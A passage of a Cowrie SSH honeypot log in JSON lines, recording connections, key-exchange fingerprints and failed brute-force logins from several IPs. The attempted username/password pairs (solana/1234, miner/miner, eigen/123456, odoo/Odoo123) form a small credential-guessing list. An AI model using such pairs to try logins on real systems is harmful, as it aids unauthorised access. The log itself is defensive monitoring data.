a2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:54:40.048268Z","src_ip":"193.32.162.145","session":"5ba087678796","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234","message":"login attempt [solana/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:54:40.409903Z","src_ip":"193.32.162.145","session":"5ba087678796","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:54:41.514069Z","src_ip":"193.32.162.145","session":"5ba087678796","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":37398,"dst_ip":"159.203.135.109","dst_port":22,"session":"686cd4f9cd6c","protocol":"ssh","message":"New connection: 92.118.39.72:37398 (159.203.135.109:22) [session: 686cd4f9cd6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:55:48.460307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:55:48.464664Z","src_ip":"92.118.39.72","session":"686cd4f9cd6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:55:48.566095Z","src_ip":"92.118.39.72","session":"686cd4f9cd6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"miner","password":"miner","message":"login attempt [miner/miner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:55:48.878489Z","src_ip":"92.118.39.72","session":"686cd4f9cd6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:55:49.980538Z","src_ip":"92.118.39.72","session":"686cd4f9cd6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":41572,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e4f0dbf9fe7","protocol":"ssh","message":"New connection: 2.57.122.210:41572 (159.203.135.109:22) [session: 3e4f0dbf9fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:56:05.297648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:56:05.302379Z","src_ip":"2.57.122.210","session":"3e4f0dbf9fe7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:56:05.402861Z","src_ip":"2.57.122.210","session":"3e4f0dbf9fe7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eigenlayer","password":"eigenlayer","message":"login attempt [eigenlayer/eigenlayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:56:05.699986Z","src_ip":"2.57.122.210","session":"3e4f0dbf9fe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:56:06.801627Z","src_ip":"2.57.122.210","session":"3e4f0dbf9fe7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":45876,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb4125ec61c0","protocol":"ssh","message":"New connection: 193.32.162.145:45876 (10.17.0.5:22) [session: bb4125ec61c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:56:47.121974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:56:47.126016Z","src_ip":"193.32.162.145","session":"bb4125ec61c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:56:47.225574Z","src_ip":"193.32.162.145","session":"bb4125ec61c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Solana","message":"login attempt [solana/Solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:56:47.608524Z","src_ip":"193.32.162.145","session":"bb4125ec61c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:56:48.717279Z","src_ip":"193.32.162.145","session":"bb4125ec61c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":47394,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b95a48411bf","protocol":"ssh","message":"New connection: 92.118.39.72:47394 (159.203.135.109:22) [session: 8b95a48411bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:57:56.041852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:57:56.045651Z","src_ip":"92.118.39.72","session":"8b95a48411bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:57:56.150272Z","src_ip":"92.118.39.72","session":"8b95a48411bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:57:56.465447Z","src_ip":"92.118.39.72","session":"8b95a48411bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:57:57.575716Z","src_ip":"92.118.39.72","session":"8b95a48411bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":44126,"dst_ip":"159.203.135.109","dst_port":22,"session":"47e9e09cc975","protocol":"ssh","message":"New connection: 2.57.122.210:44126 (159.203.135.109:22) [session: 47e9e09cc975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:58:15.104663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:58:15.108299Z","src_ip":"2.57.122.210","session":"47e9e09cc975","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:58:15.239138Z","src_ip":"2.57.122.210","session":"47e9e09cc975","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eigen","password":"123456","message":"login attempt [eigen/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:58:15.550449Z","src_ip":"2.57.122.210","session":"47e9e09cc975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:58:16.718810Z","src_ip":"2.57.122.210","session":"47e9e09cc975","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":59748,"dst_ip":"10.17.0.5","dst_port":22,"session":"9521fdedbb84","protocol":"ssh","message":"New connection: 193.32.162.145:59748 (10.17.0.5:22) [session: 9521fdedbb84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:03.040112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:03.045741Z","src_ip":"193.32.162.145","session":"9521fdedbb84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:03.152960Z","src_ip":"193.32.162.145","session":"9521fdedbb84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:03.737249Z","src_ip":"193.32.162.145","session":"9521fdedbb84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:04.861822Z","src_ip":"193.32.162.145","session":"9521fdedbb84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.16.238.49","src_port":58590,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b75d66aed48","protocol":"ssh","message":"New connection: 201.16.238.49:58590 (10.17.0.5:22) [session: 1b75d66aed48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:19.795011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:19.801248Z","src_ip":"201.16.238.49","session":"1b75d66aed48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:19.941180Z","src_ip":"201.16.238.49","session":"1b75d66aed48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mgeweb","password":"password","message":"login attempt [mgeweb/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:20.543250Z","src_ip":"201.16.238.49","session":"1b75d66aed48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:21.685239Z","src_ip":"201.16.238.49","session":"1b75d66aed48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.22.233","src_port":38226,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4fceb727e88","protocol":"ssh","message":"New connection: 165.154.22.233:38226 (10.17.0.5:22) [session: c4fceb727e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:23.296813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:23.305692Z","src_ip":"165.154.22.233","session":"c4fceb727e88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:23.524200Z","src_ip":"165.154.22.233","session":"c4fceb727e88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"Odoo123","message":"login attempt [odoo/Odoo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:24.411960Z","src_ip":"165.154.22.233","session":"c4fceb727e88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:25.641800Z","src_ip":"165.154.22.233","session":"c4fceb727e88","protocol":"ssh"}
